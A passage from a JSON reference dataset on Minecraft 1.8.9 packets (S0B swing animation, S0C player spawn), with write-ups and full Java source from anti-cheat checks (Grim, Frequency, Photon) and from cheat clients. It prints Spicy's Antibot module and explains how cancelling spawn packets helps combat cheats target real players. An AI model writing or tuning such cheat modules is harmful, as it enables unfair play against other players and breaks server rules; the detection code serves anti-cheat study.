(S0B) and exempts the player from swing-order requirements when ViaVersion injects swings.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/breaking/NoSwingBreak.java",
       "variations": "Grim Post enforces the swing-before-attack order with transaction timing; amnoah-BetterAnticheat ships the same pairing as NoSwingDigCheck and NoSwingCombatCheck; freppp-ThotPatrol NoSwingA is the compact 1.8 form."
      },
      {
       "name": "AutoClickerA (Frequency)",
       "found_in": [
        "ElevatedDev-Frequency",
        "MinecraftUserHAN1110-FrequencyPlus",
        "splatboydev-Degrade"
       ],
       "purpose": "Statistical autoclicker check over the arm-animation stream: human click timing must vary.",
       "how_it_works": "PacketCheck on WrappedPlayInArmAnimation: while CPS is above 6.5 and the player is not digging or placing, the number of movement packets between swings is sampled. After 20 samples the check computes the standard deviation and the outlier count; a deviation below 2 with fewer than 2 outliers fails. Constant-interval autoclickers produce near-zero variance and trip the check.",
       "detects": "Autoclickers with low-variance click timing.",
       "detailed_code": "// ===== FILE: ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/autoclicker/AutoClickerA.java =====\npackage xyz.elevated.frequency.check.impl.autoclicker;\n\nimport com.google.common.collect.Lists;\nimport xyz.elevated.frequency.check.CheckData;\nimport xyz.elevated.frequency.check.type.PacketCheck;\nimport xyz.elevated.frequency.data.PlayerData;\nimport xyz.elevated.frequency.util.MathUtil;\nimport xyz.elevated.frequency.util.Pair;\nimport xyz.elevated.frequency.wrapper.impl.client.WrappedPlayInArmAnimation;\nimport xyz.elevated.frequency.wrapper.impl.client.WrappedPlayInFlying;\n\nimport java.util.Deque;\nimport java.util.List;\n\n@CheckData(name = \"AutoClicker (A)\")\npublic final class AutoClickerA extends PacketCheck {\n\n    private int movements = 0;\n    private final Deque<Integer> samples = Lists.newLinkedList();\n\n    public AutoClickerA(final PlayerData playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void process(final Object object) {\n        if (object instanceof WrappedPlayInArmAnimation) {\n            final boolean valid = playerData.getCps().get() > 6.5\n                    && movements < 4 && !playerData.getActionManager().getDigging().get() && !playerData.getActionManager().getPlacing().get();\n\n            // If the movement are not incredibly low and the player isn't digging\n            if (valid) samples.add(movements);\n\n            if (samples.size() == 20) {\n                // Get the outliers properly from the math utility\n                final Pair<List<Double>, List<Double>> outlierPair = MathUtil.getOutliers(samples);\n\n                // Get the deviation from the math utility and the outliers\n                final double deviation = MathUtil.getStandardDeviation(samples);\n                final double outliers = outlierPair.getX().size() + outlierPair.getY().size();\n\n                // Low deviation and low outliers\n                if (deviation < 2.d && outliers < 2) fail();\n\n                // Clear the list\n                samples.clear();\n            }\n\n            // Reset the movements\n            movements = 0;\n        } else if (object instanceof WrappedPlayInFlying) {\n            ++movements;\n        }\n    }\n}\n// NOTE (AI): Frequency is the 1.8-generation base that FrequencyPlus and Degrade fork; all three register the same WrappedPlayInArmAnimation handler.",
       "code_source": "ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/check/impl/autoclicker/AutoClickerA.java",
       "variations": "Hydro AutoClickerA-D, Kauri AutoclickerA-D, Artemis AutoClickerA-M, Azure AutoClickerA and Salmon SwingA implement the same swing-interval statistics on their own event buses; Intave ClickPatterns runs the same idea through entropy and deviation click-pattern checks."
      },
      {
       "name": "PacketAnalysisAnimation (Photon)",
       "found_in": [
        "Photon-GitHub-AntiCheatAddition"
       ],
       "purpose": "Enforce the client's own attack sequence: an arm animation must directly follow an attack.",
       "how_it_works": "Listens to INTERACT_ENTITY and ANIMATION at LOW priority. An attack on an entity sets a packetAnalysisAnimationExpected flag; the next ANIMATION clears it; if another attack arrives while the flag is still set, the previous attack never produced a swing and the module flags with +30 violation level under a decaying violation management. Disabled on 1.8 servers, where ViaVersion reorders animations.",
       "detects": "Killaura that sends attack packets without the swing the vanilla client always sends after a left click.",
       "detailed_code": "// ===== FILE: Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/checks/packetanalysis/PacketAnalysisAnimation.java =====\npackage de.photon.anticheataddition.modules.checks.packetanalysis;\n\nimport com.github.retrooper.packetevents.event.PacketListenerPriority;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientInteractEntity;\nimport de.photon.anticheataddition.ServerVersion;\nimport de.photon.anticheataddition.modules.ModuleLoader;\nimport de.photon.anticheataddition.modules.ViolationModule;\nimport de.photon.anticheataddition.util.protocol.PacketAdapterBuilder;\nimport de.photon.anticheataddition.util.violationlevels.Flag;\nimport de.photon.anticheataddition.util.violationlevels.ViolationLevelManagement;\nimport de.photon.anticheataddition.util.violationlevels.ViolationManagement;\n\npublic final class PacketAnalysisAnimation extends ViolationModule\n{\n    public static final PacketAnalysisAnimation INSTANCE = new PacketAnalysisAnimation();\n\n    private PacketAnalysisAnimation()\n    {\n        super(\"PacketAnalysis.parts.Animation\");\n    }\n\n    @Override\n    protected ViolationManagement createViolationManagement()\n    {\n        return ViolationLevelManagement.builder(this)\n                                       .emptyThresholdManagement()\n                                       .withDecay(200, 2).build();\n    }\n\n    @Override\n    protected ModuleLoader createModuleLoader()\n    {\n        /* Protocol:\n         * 1) Player left clicks\n         * 2) Entity use packet with attack.\n         * 3) Arm Animation packet.\n         * */\n        final var packetAdapter = PacketAdapterBuilder\n                .of(this, PacketType.Play.Client.INTERACT_ENTITY, PacketType.Play.Client.ANIMATION)\n                .priority(PacketListenerPriority.LOW)\n                .onReceiving((event, user) -> {\n                    final var packetType = event.getPacketType();\n                    final var boolData = user.getData().bool;\n\n                    if (packetType == PacketType.Play.Client.ANIMATION) boolData.packetAnalysisAnimationExpected = false;\n                    else if (packetType == PacketType.Play.Client.INTERACT_ENTITY) {\n                        // Expected Animation after attack, but didn't arrive.\n                        if (boolData.packetAnalysisAnimationExpected) {\n                            boolData.packetAnalysisAnimationExpected = false;\n                            getManagement().flag(Flag.of(user).setAddedVl(30).setDebug(() -> \"PacketAnalysisData-Debug | Player: \" + user.getPlayer().getName() + \" did not send animation packet after an attack.\"));\n                        }\n\n                        // Make sure an arm animation packet is sent directly after an attack as it is the next packet in the client code.\n                        final var wrapper = new WrapperPlayClientInteractEntity(event);\n                        if (wrapper.getAction() == WrapperPlayClientInteractEntity.InteractAction.ATTACK) boolData.packetAnalysisAnimationExpected = true;\n                    }\n                }).build();\n\n        return ModuleLoader.builder(this)\n                           .setAllowedServerVersions(ServerVersion.NON_188_VERSIONS)\n                           .addPacketListeners(packetAdapter)\n                           .build();\n    }\n}\n// NOTE (AI): The module is one part of Photon's PacketAnalysis family, which also covers aim-step and equal-rotation patterns.",
       "code_source": "Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/checks/packetanalysis/PacketAnalysisAnimation.java",
       "variations": "Grim Post enforces the same attack-then-swing order with transaction-based timing; Truthful PacketOrderA/D and Grim PacketOrderB flag the same ordering violation from different packet sets; Tecnio-AntiHaxerman ProtocolC/ProtocolE cover arm-animation protocol oddities."
      },
      {
       "name": "Post (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Verify that action packets arrive inside the expected movement tick, and consume the outbound S0B swing to exempt injected animations.",
       "how_it_works": "On the send side, WrapperPlayServerEntityAnimation (the S0B packet) for the player's own entity id records the current transaction when the type is SWING_MAIN_ARM or SWING_OFF_HAND. On the receive side, action packets (attack, dig, place, animation, interact) that arrive after a flying packet are queued, and a transaction boundary with queued packets flags a post violation through the prediction pipeline. The swing exemption keeps ViaVersion-injected animations from falsing the check.",
       "detects": "Post packets sent after movement, which blink and timer modules produce; the swing-exemption path keeps legitimately injected animations from falsing.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/misc/Post.java =====\npackage ac.grim.grimac.checks.impl.misc;\n\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.checks.type.PostPredictionListener;\nimport ac.grim.grimac.checks.type.PostPredictionListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.update.PredictionComplete;\nimport ac.grim.grimac.utils.lists.EvictingQueue;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketTypeCommon;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientEntityAction;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityAnimation;\n\nimport java.util.ArrayDeque;\nimport java.util.List;\nimport java.util.Locale;\n\nimport static com.github.retrooper.packetevents.protocol.packettype.PacketType.Play.Client.*;\n\n@CheckData(name = \"Post\", stableKey = \"grim.post.invalid_order\", description = \"Sent packets out of the expected movement tick order\")\npublic class Post extends Check implements PacketReceiveListener, PacketSendListener, PostPredictionListener {\n    private static final Verbose V = Verbose.of(\"{str}\");\n\n    private final ArrayDeque<PacketTypeCommon> post = new ArrayDeque<>();\n    // Due to 1.9+ missing the idle packet, we must queue flags\n    // 1.8 clients will have the same logic for simplicity, although it's not needed\n    private final List<String> flags = new EvictingQueue<>(10);\n    private boolean sentFlying = false;\n    private int isExemptFromSwingingCheck = Integer.MIN_VALUE;\n\n    public Post(GrimPlayer playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void onPredictionComplete(final PredictionComplete predictionComplete) {\n        if (flags.isEmpty()) {\n            return;\n        }\n\n        // Okay, the user might be cheating, let's double check\n        // 1.8 clients have the idle packet, and this shouldn't false on 1.8 clients\n        // 1.9+ clients have predictions, which will determine if hidden tick skipping occurred\n        if (player.isTickingReliablyFor(3)) {\n            for (String flag : flags) {\n                flag(V.write(verbose()).str(flag));\n            }\n        }\n\n        flags.clear();\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.ENTITY_ANIMATION) {\n            WrapperPlayServerEntityAnimation animation = new WrapperPlayServerEntityAnimation(event);\n            if (animation.getEntityId() == player.entityID) {\n                if (animation.getType() == WrapperPlayServerEntityAnimation.EntityAnimationType.SWING_MAIN_ARM ||\n                        animation.getType() == WrapperPlayServerEntityAnimation.EntityAnimationType.SWING_OFF_HAND) {\n                    isExemptFromSwingingCheck = player.lastTransactionSent.get();\n                }\n            }\n        }\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (isTickPacket(event.getPacketType())) { // Don't count teleports or duplicates as movements\n            post.clear();\n            sentFlying = true;\n            return;\n        }\n\n        // 1.13+ clients can click inventory outside tick loop, so we can't post check those two packets on 1.13+\n        PacketTypeCommon packetType = event.getPacketType();\n        if (isTransaction(packetType) && player.packetStateData.lastTransactionPacketWasValid) {\n            if (sentFlying && !post.isEmpty()) {\n                flags.add(post.getFirst().toString().toLowerCase(Locale.ROOT).replace(\"_\", \" \") + \" v\" + player.getClientVersion().getReleaseName());\n            }\n            post.clear();\n            sentFlying = false;\n            return;\n        }\n\n        if (!sentFlying) {\n            return;\n        }\n\n        if (PLAYER_ABILITIES.equals(packetType)\n                || (HELD_ITEM_CHANGE.equals(packetType) && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_8))\n                || INTERACT_ENTITY.equals(packetType) || PLAYER_BLOCK_PLACEMENT.equals(packetType)\n                || ATTACK.equals(packetType) || SPECTATE_ENTITY.equals(packetType)\n                || USE_ITEM.equals(packetType) || PLAYER_DIGGING.equals(packetType)) {\n            post.add(event.getPacketType());\n        } else if (CLICK_WINDOW.equals(packetType) && player.getClientVersion().isOlderThan(ClientVersion.V_1_13)) {\n            // Why do 1.13+ players send the click window packet whenever? This doesn't make sense.\n            post.add(event.getPacketType());\n        } else if (ANIMATION.equals(packetType)\n                && (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_9) // ViaVersion delays animations for 1.8 clients\n                || PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_8_8)) // when on 1.9+ servers\n                && player.getClientVersion().isOlderThan(ClientVersion.V_1_13) // 1.13 clicking inventory causes weird animations\n                && isExemptFromSwingingCheck < player.lastTransactionReceived.get()) { // Exempt when the server sends animations because viaversion\n            post.add(event.getPacketType());\n        } else if (ENTITY_ACTION.equals(packetType) // ViaRewind sends START_FALL_FLYING packets async for 1.8 clients on 1.9+ servers\n                && (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_9) || new WrapperPlayClientEntityAction(event).getAction() != WrapperPlayClientEntityAction.Action.START_FLYING_WITH_ELYTRA)) {\n            // https://github.com/GrimAnticheat/Grim/issues/824\n            if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_19_3) && player.inVehicle()) {\n                return;\n            }\n            if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_13) && new WrapperPlayClientEntityAction(event).getAction() == WrapperPlayClientEntityAction.Action.LEAVE_BED)\n                return;\n            post.add(event.getPacketType());\n        }\n    }\n}\n// NOTE (AI): Post is the only check in the corpus that reads the outbound S0B entity-animation packet directly.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/misc/Post.java",
       "variations": "Grim PacketOrderB and Photon PacketAnalysisAnimation cover related ordering rules; Truthful PacketOrderA/D run the same order checks on Truthful's listener."
      }
     ]
    }
   },
   "wiki_notes": [
    "PLAY id 0x0B: VarInt entityId plus unsigned-byte type; 1.8.9 types are 0 swing, 1 hurt, 2 leave bed, 3 eat, 4 crit, 5 magic crit.",
    "Type 0 is the only click-rate signal, so swing counters, AntiBot swing sets and combat attribution all key on it.",
    "MCP 1.8.9 S0BPacketAnimation implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleAnimation; wire serde is readPacketData/writePacketData via readUnsignedByte, readVarIntFromBuffer.",
    "1.8.9 callers: EntityLivingBase.swingItem sends new S0BPacketAnimation (line 1351) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityLivingBase.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S0BPacketAnimation/",
   "mcp_path": "net/minecraft/network/play/server/S0BPacketAnimation.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP",
    "EntityLivingBase"
   ]
  },
  {
   "id": "S0CPacketSpawnPlayer",
   "hex": "0x0C",
   "dec": 12,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Spawn Player",
   "desc": "Spawns another player entity in the world with UUID, position (fixed-point int × 32), rotation (byte × 256/360), held item, and metadata.",
   "tags": [
    "player",
    "entity",
    "spawn"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID for this player"
    },
    {
     "name": "playerId",
     "type": "UUID",
     "desc": "Player UUID"
    },
    {
     "name": "x/y/z",
     "type": "fixed-point int",
     "desc": "Position × 32"
    },
    {
     "name": "yaw/pitch",
     "type": "byte",
     "desc": "Rotation × 256/360"
    },
    {
     "name": "currentItem",
     "type": "short",
     "desc": "Item ID in hand"
    },
    {
     "name": "metadata",
     "type": "DataWatcher",
     "desc": "Player metadata (skin, cape, etc.)"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "Player UUID",
     "UUID",
     "Most Sig + Least Sig bits"
    ],
    [
     "X",
     "Int",
     "x * 32"
    ],
    [
     "Y",
     "Int",
     "y * 32"
    ],
    [
     "Z",
     "Int",
     "z * 32"
    ],
    [
     "Yaw",
     "byte",
     "yaw * 256 / 360"
    ],
    [
     "Pitch",
     "byte",
     "pitch * 256 / 360"
    ],
    [
     "Current Item",
     "short",
     "Block/item ID (0 = empty)"
    ],
    [
     "Metadata",
     "DataWatcher",
     "Entity data watcher"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleSpawnPlayer()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "This is received when another player enters the client's render distance. ESP modules add the entity to their target list. AntiBot modules check the UUID against tab list entries.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S0C spawns a player entity: VarInt entity id, UUID, fixed-point x/y/z as ints scaled by 32, byte yaw and pitch scaled by 256/360, a short current-item id, then the DataWatcher metadata. EntityTrackerEntry constructs it when a player enters render distance. The client builds an EntityOtherPlayerMP from it. MessageSerializer carries a no-op special case for S0C in the bundled 1.8 sources, a decompile artifact of the 1.7.x-era encoding special case."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleSpawnPlayer decodes the fixed-point coordinates, reads the metadata and registers the entity in the world. From then on the entity is driven by S14 relative moves and S18 teleports. ESP and nametag modules do not hook S0C in these clients: they iterate the world entity list, which is why S0C only shows up in anti-bot and meme modules."
     },
     {
      "h": "Why clients touch it",
      "p": "S0C is the only packet that announces a new player with a position, which makes it the anti-bot veto point. Spicy's Antibot cancels the packet outright when the spawn looks like a bot (within 17 blocks, more than 1 block above the player, not at the player's coordinates) on non-Hypixel servers; the Hypixel branch is commented out because Hypixel bots carry plausible spawn data, so bots are removed from the entity list per-tick instead. Sigma 4.11 AntiBot inspects spawn packets the same way. The Spicy meme modules (DougDimmadome, FloofyFoxes, Furries) import S0C for skin and model replacement but ship empty handlers. November Recode 2.0's AntiBotModule adds a WATCHDOG mode that treats every player spawn following a detected bot despawn as a bot, printing a suspicious-spawn notice."
     },
     {
      "h": "Exploit surface",
      "p": "Cancelling S0C is client-only: the server keeps simulating the bot, but the local world never receives the entity, so aim and ESP never lock onto it. The risk is entity-id desync if later packets reference the cancelled id, which vanilla guards by simply not spawning the entity. Anti-cheats do not measure S0C; anti-bot heuristics are purely client-side (spawn position relative to the player, invisibility plus name quirks, tab-list absence), and servers that want bots to survive these filters just spawn them with realistic positions, which is exactly what Hypixel does."
     }
    ],
    "overview": "The player-spawn announcement: fixed-point position, byte rotations, item id and metadata. In this corpus it is the anti-bot veto point: Spicy cancels suspicious spawns outright, Sigma inspects them, November Recode 2.0 flags post-despawn spawns in WATCHDOG mode, while the meme modules only import it. ESP and nametag modules never touch S0C because they iterate the entity list instead.",
    "server_handling": "EntityTrackerEntry.getPacket constructs S0C from the tracked EntityPlayer with x, y and z scaled by 32, yaw and pitch scaled by 256/360, the held item id as a short, and the DataWatcher data. The server does no per-recipient filtering beyond the tracker's render-distance logic.",
    "protocol_notes": "Fields: VarInt entity id, UUID (most and least significant longs), three ints scaled by 32, two bytes scaled by 256/360, a short item id (0 when empty), then DataWatcher metadata. The scaling is why the client divides by 32 and multiplies by 360/256. S0C is the only spawn packet with a UUID, which is what makes it the natural hook for anti-bot and name-based filtering.",
    "anticheat_landscape": "No anti-cheat reads S0C. The client-side heuristics in Spicy (17-block range, height above the player, non-coincident coordinates) and the Hypixel per-tick removal (invisibility, name formatting, tab-list absence, Watchdog naming) are the whole anti-bot landscape in this corpus, and servers defeat them by making spawn data indistinguishable from real players.",
    "modules": [
     {
      "name": "AntiBot",
      "found_in": [
       "Sigma 4.11",
       "Spicy",
       "November Recode 2.0"
      ],
      "purpose": "Veto bots at the spawn point: cancel S0C for suspicious spawns so the entity never enters the local world and cannot be targeted.",
      "how_it_works": "Spicy hooks EventPacket pre: on non-Hypixel servers, a spawn within 17 blocks, more than 1 block above the player and not at the player's exact coordinates is cancelled with a chat notice; on Hypixel the packet path is commented out and hypixelAntibot() removes bots from the entity list per-tick using invisibility, name formatting, tab-list absence and Watchdog naming heuristics. Sigma inspects incoming S0C the same way on its own packet bus.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/combat/Antibot.java =====\npackage info.spicyclient.modules.combat;\n\nimport java.util.ArrayList;\nimport java.util.ConcurrentModificationException;\nimport java.util.List;\nimport java.util.concurrent.CopyOnWriteArrayList;\n\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.chatCommands.Command;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventPacket;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.settings.ModeSetting;\nimport info.spicyclient.util.PlayerUtils;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.play.server.S0CPacketSpawnPlayer;\nimport net.minecraft.util.MathHelper;\n\npublic class Antibot extends Module {\n\t\n\tpublic static EntityLivingBase target = null;\n\t\n\tprivate ModeSetting AntibotMode = new ModeSetting(\"Antibot Mode\", \"Advanced\", \"Advanced\");\n\t\n\tpublic Antibot() {\n\t\tsuper(\"Antibot\", Keyboard.KEY_NONE, Category.COMBAT);\n\t\tresetSettings();\n\t}\n\t\n\t@Override\n\tpublic void resetSettings() {\n\t\tthis.settings.clear();\n\t\tthis.addSettings(AntibotMode);\n\t}\n\t\n\tpublic void onEnable() {\n\t\t\n\t\tremoveThese.clear();\n\t\tdontRemove.clear();\n\t\t\n\t}\n\t\n\tpublic void onDisable() {\n\t\t\n\t\tremoveThese.clear();\n\t\tdontRemove.clear();\n\t\t\n\t}\n\t\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventUpdate) {\n\t\t\t\n\t\t\tif (e.isPre()) {\n\t\t\t\t\n\t\t\t\tif (!mc.isSingleplayer() && mc.getCurrentServerData().serverIP.toLowerCase().contains(\"hypixel\")) {\n\t\t\t\t\tthis.additionalInformation = \"Hypixel\";\n\t\t\t\t}else {\n\t\t\t\t\tthis.additionalInformation = \"Advanced\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventPacket && AntibotMode.is(\"Advanced\")) {\n\t\t\t\n\t\t\tif (e.isIncoming() && e.isPre()) {\n\t\t\t\t\n\t\t\t\tEventPacket packet = (EventPacket) e;\n\t\t\t\t\n\t\t\t\tif (packet.packet instanceof S0CPacketSpawnPlayer && !(mc.getCurrentServerData().serverIP.toLowerCase().contains(\"hypixel\"))) {\n\t\t\t\t\t\n\t                S0CPacketSpawnPlayer p = (S0CPacketSpawnPlayer) packet.packet;\n\t                double entX = p.getX() / 32D;\n\t                double entY = p.getY() / 32D;\n\t                double entZ = p.getZ() / 32D;\n\t                double diffX = mc.thePlayer.posX - entX;\n\t                double diffY = mc.thePlayer.posY - entY;\n\t                double diffZ = mc.thePlayer.posZ - entZ;\n\t                \n\t                float distance = MathHelper.sqrt_double(diffX * diffX + diffY * diffY + diffZ * diffZ);\n\t                \n\t                if (distance <= 17 && entY > mc.thePlayer.posY + 1 && (entX != mc.thePlayer.posX && entY != mc.thePlayer.posY && entZ != mc.thePlayer.posZ)) {\n\t                \t//Entity entity = mc.theWorld.getEntityByID(p.getEntityID());\n\t                \t//Command.sendPrivateChatMessage(\"The \" + entity.getDisplayName().getFormattedText() + \" bot was removed from your game\");\n\t                \tpacket.setCanceled(true);\n\t                \tCommand.sendPrivateChatMessage(\"A bot was removed from your game\");\n\t                }\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse if (packet.packet instanceof S0CPacketSpawnPlayer && !mc.isSingleplayer() && mc.getCurrentServerData().serverIP.toLowerCase().contains(\"hypixel\")) {\n\n\t\t\t\t\t//hypixelAntibot();\n\t\t\t\t\t/*\n\t\t\t\t\tS0CPacketSpawnPlayer p = (S0CPacketSpawnPlayer) packet.packet;\n\t\t\t\t\tEntity entity = mc.theWorld.getEntityByID(p.getEntityID());\n\t\t\t\t\t\n\t\t\t\t\tif (entity == null) {\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t                if (entity.getDisplayName().getFormattedText().startsWith(\"\\u00a7\") && !entity.isInvisible() && !entity.getDisplayName().getFormattedText().toLowerCase().contains(\"npc\")) {\n\t                \t\n\t                }else {\n\t                \tCommand.sendPrivateChatMessage(\"The \" + entity.getDisplayName().getFormattedText() + \" bot was removed from your game\");\n\t                \tpacket.setCanceled(true);\n\t                }\n\t\t\t\t\t*/\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventUpdate) {\n\t\t\t\n\t\t\tif (e.isPre() && AntibotMode.is(\"Advanced\") && !mc.isSingleplayer() && !(mc.getCurrentServerData().serverIP.toLowerCase().contains(\"hypixel\"))) {\n\t\t\t\t\n\t\t\t\tfor (Object entity : mc.theWorld.loadedEntityList) {\n\t\t\t\t\t\n\t\t\t\t\tif (((Entity)entity).isInvisible() && entity != mc.thePlayer) {\n\t\t\t\t\t\t\n\t\t\t\t\t\t//Command.sendPrivateChatMessage(\"a bot was removed from your game\");\n\t\t\t\t\t\tCommand.sendPrivateChatMessage(\"A bot was removed from your game\");\n\t\t\t\t\t\tmc.theWorld.removeEntity(((Entity)entity));\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\telse if (!mc.isSingleplayer() && mc.getCurrentServerData().serverIP.toLowerCase().contains(\"hypixel\")) {\n\t\t\t\t\n\t\t\t\tif (e.isPre()) {\n\t\t\t\t\thypixelAntibot();\n\t\t\t\t}\n\t\t\t\telse if (e.isPost()) {\n\t\t\t\t\t\n\t\t\t\t\tfor (EntityPlayer ent : removeThese) {\n\t\t\t\t\t\t\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tmc.theWorld.removeEntity(ent);\n\t\t\t\t\t\t} catch (ConcurrentModificationException e2) {\n\t\t\t\t\t\t\tCommand.sendPrivateChatMessage(\"Could not remove bot due to ConcurrentModificationException, please report this to a dev\");\n\t\t\t\t\t\t} catch (Exception e2) {\n\t\t\t\t\t\t\tCommand.sendPrivateChatMessage(\"Could not remove bot due to an unknown error, please report this to a dev\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\tS0CPacketSpawnPlayer p = (S0CPacketSpawnPlayer) packet.packet;\n\t\t\t\tEntity entity = mc.theWorld.getEntityByID(p.getEntityID());\n\t\t\t\t\n\t\t\t\tif (entity == null) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\t\n                if (entity.getDisplayName().getFormattedText().startsWith(\"\\u00a7\") && !entity.isInvisible() && !entity.getDisplayName().getFormattedText().toLowerCase().contains(\"npc\")) {\n                \t\n                }else {\n                \tCommand.sendPrivateChatMessage(\"The \" + entity.getDisplayName().getFormattedText() + \" bot was removed from your game\");\n                \tpackets.add(p);\n                \tpacket.setCanceled(true);\n                }\n                */\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\n\t\n\t// Prevents non bots from being removed\n\tprivate static transient List<EntityPlayer> dontRemove = new ArrayList<>();\n\tprivate static transient CopyOnWriteArrayList<EntityPlayer> removeThese = new CopyOnWriteArrayList<EntityPlayer>();\n\t\n\tprivate void hypixelAntibot() {\n\t\t\n\t\tfor (Object o : mc.theWorld.getLoadedEntityList()) {\n\t\t\t\n            if (o instanceof EntityPlayer) {\n            \t\n                EntityPlayer ent = (EntityPlayer) o;\n                \n                \n                \n                if (ent != mc.thePlayer && !dontRemove.contains(ent)) {\n                \t\n                \tString customName = ent.getCustomNameTag();\n                \tString formattedName = ent.getDisplayName().getFormattedText();\n                    String name = ent.getName();\n                    \n                    if(ent.isInvisible() && !formattedName.startsWith(\"§c\") && formattedName.endsWith(\"§r\") && customName.equals(name)){\n                    \t\n    \t\t\t\t\tdouble diffX = Math.abs(ent.posX - mc.thePlayer.posX);\n    \t\t\t\t\tdouble diffY = Math.abs(ent.posY - mc.thePlayer.posY);\n    \t\t\t\t\tdouble diffZ = Math.abs(ent.posZ - mc.thePlayer.posZ);\n    \t\t\t\t\tdouble diffH = Math.sqrt(diffX * diffX + diffZ * diffZ);\n    \t\t\t\t\t\n    \t\t\t\t\tif(diffY < 13 && diffY > 10 && diffH < 3){\n    \t\t\t\t\t\t\n    \t\t\t\t\t\tList<EntityPlayer> list = PlayerUtils.getTabPlayerList();\n    \t\t\t\t\t\t\n    \t\t\t\t\t\tif(!list.contains(ent)){\n    \t\t\t\t\t\t\t\n    \t\t\t\t\t\t\t//Command.sendPrivateChatMessage(\"The bot \" + name + \" bot was removed from your game\");\n                          \t\tremoveThese.add(ent);\n                          \t\t\n    \t\t\t\t\t\t}\n    \t\t\t\t\t\t\n    \t\t\t\t\t}\n    \t\t\t\t\n    \t\t\t\t}\n                    \n                    if(ent.isInvisible()){\n                    \t\n                    \tif(!customName.equalsIgnoreCase(\"\") && customName.toLowerCase().contains(\"§c§c\") && name.contains(\"§c\")){\n                    \t\t//Command.sendPrivateChatMessage(\"The bot \" + name + \" bot was removed from your game\");\n                    \t\tremoveThese.add(ent);\n                    \t}\n                    \t\n                    }\n                    \n\t                if (formattedName.startsWith(\"\\u00a7\") && !ent.isInvisible() && !formattedName.toLowerCase().contains(\"npc\")) {\n\t                \t\n\t                }else {\n\t                \t//Command.sendPrivateChatMessage(\"The \" + ent.getDisplayName().getFormattedText() + \" bot was removed from your game\");\n\t                \tremoveThese.add(ent);\n\t                }\n                    \n                    // Watchdog bots\n                    if(!customName.equalsIgnoreCase(\"\") && customName.toLowerCase().contains(\"§c\") && 